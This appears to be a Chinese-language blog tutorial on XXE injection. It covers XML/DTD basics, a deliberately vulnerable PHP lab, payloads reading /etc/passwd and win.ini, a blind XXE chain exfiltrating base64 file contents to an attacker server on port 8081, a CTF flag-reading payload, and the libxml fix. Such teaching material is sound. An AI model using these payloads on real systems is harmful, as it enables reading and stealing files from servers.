前言
XXE全称XML External Entity InjectionXML在引入外部实体的时候完成注入攻击称为XXE。如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击。
危害:
1.DOS攻击
2.SSRF攻击
3.使用file协议读取任意文件
4.端口探测
5.执行系统命令
XML相关知识
0x00 概念
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
0x01 结构
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
上面是简单的XML文件结构
XML 文档声明,在文档的第一行
XML 文档类型定义,即DTD,XXE 漏洞所在的地方
XML 文档元素
0x02 XML DTD(文档类型定义)
DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。
内部声明DTD <!DOCTYPE 根元素 [元素声明]>
外部声明DTD <!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE note SYSTEM "Note.dtd">
或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
内部声明DTD
<?xml version="1.0"?> //xml声明
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)> //定义了note元素,并且note元素下面有4个子元素
<!ELEMENT to (#PCDATA)> //定义了子元素to,后面的(#PCDATA)意思是to元素里面的字符串内容不会被解析
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]> //从<!DOCTYPE...到}>,是DTD文档的定义
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> //后面这部分就是XML文件内容
外部声明DTD
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd内容:
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
内部声明实体 <!DOCTYPE 实体名称 "实体的值">
引用外部实体 <!DOCTYPE 实体名称 SYSTEM "URL">
或者 <!DOCTYPE 实体名称 PUBLIC "public_ID" "URL">
内部声明实体
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> <note> <name>&hack3r;</name> </note>
外部声明实体外部实体用来引用外部资源,有两个关键字SYSTEM和PUBLIC两个,表示实体来自本地计算机还是公共计算机,外部实体的利用会用到协议如下:
不同语言下支持的协议:
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "http://www.chenguanxin.com"> ]> <note> <name>&hack3r;</name> </note>
参数实体参数实体只能在DTD中定义和使用实体,一般的话引用时%作为前缀。而内部实体是指在一个实体中定义的另一个实体,说白了就是嵌套的。
<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
栗子
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/123.dtd" >
%xxe;]>
<foo>&evil;</foo>
123.dtd的内容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
外部实体支持的http,file等协议,那么就有可能通过以用外部实体进行远程文件读取。
本地搭个XXE-lab看一下
看一下源码
<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); //获取我们输入的数据
try{
$dom = new DOMDocument(); //创建根节点
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //将XML中的实体引用替换成对应的值,加载 DOCTYPE 中的 DTD 文件
$creds = simplexml_import_dom($dom); //把 DOM 节点转换为 SimpleXMLElement 对象
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
libxml_disable_entity_loader(false);函数意思就是不禁止外部实体加载;file_get_contents()函数,把整个文件读入一个字符串中。
LIBXML_NOENT: 将XML中的实体引用替换成对应的值。
LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 通过php://input协议获取POST请求数据,然后把数据通过file_get_contents()函数,放在$xmlfile变量中。
输入admin admin 抓包看看
是xml数据
构造payload读取数据
网站在window系统上搭建:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///c:/windows/win.ini"> ]>
<user><username>&xxes;</username><password>admin</password></user>
网站在linux系统上搭建:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
<user><username>&xxes;</username><password>admin</password></user>
这是有会显的,下面看看回显的
无回显XXE(blind xxe)
我们读取的是/etc/passwd但是回显为ok,我们可以使用公网服务器远程读取
公网服务器创建dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:8081/%file;'>">
服务器开启监听8081端口
构造xxe代码,并且提交
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/1.dtd">
%remote;%int;%send;
]>
监听端口,没有反弹shell
不过页面上也显示了
上面的payload,调用了%remote ,%int ,%send三个参数实体。一次利用顺序就是通过%remote调用远程服务器vps上,我们常见的evil.dtd文件,然后%int调用了evil.dtd中的%file,而%file就会获取服务读取敏感文件,然后将%file的结果放到%send之后,然后我们调用%send,把读取的数据以get请求发送到服务器vps上,这就是外带数据的结果。
看道CTF题
题目名称:api调用go,并且提交抓包
上面json数据,我们先试一下看看xml数据会不会被解析
需要更改application\xml可以解析xml数据
构造payload读取flag
<?xml version="1.03"?>
<!DOCTYPE abcd[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>
<root>&any;</root>
XXE的防御
xxe漏洞产生的原因是:
允许加载了外部实体。那么要防御禁止外部实体加载。
libxml_disable_entity_loader(true);
将false不禁止外部实体加载,改为true禁止外部实体加载。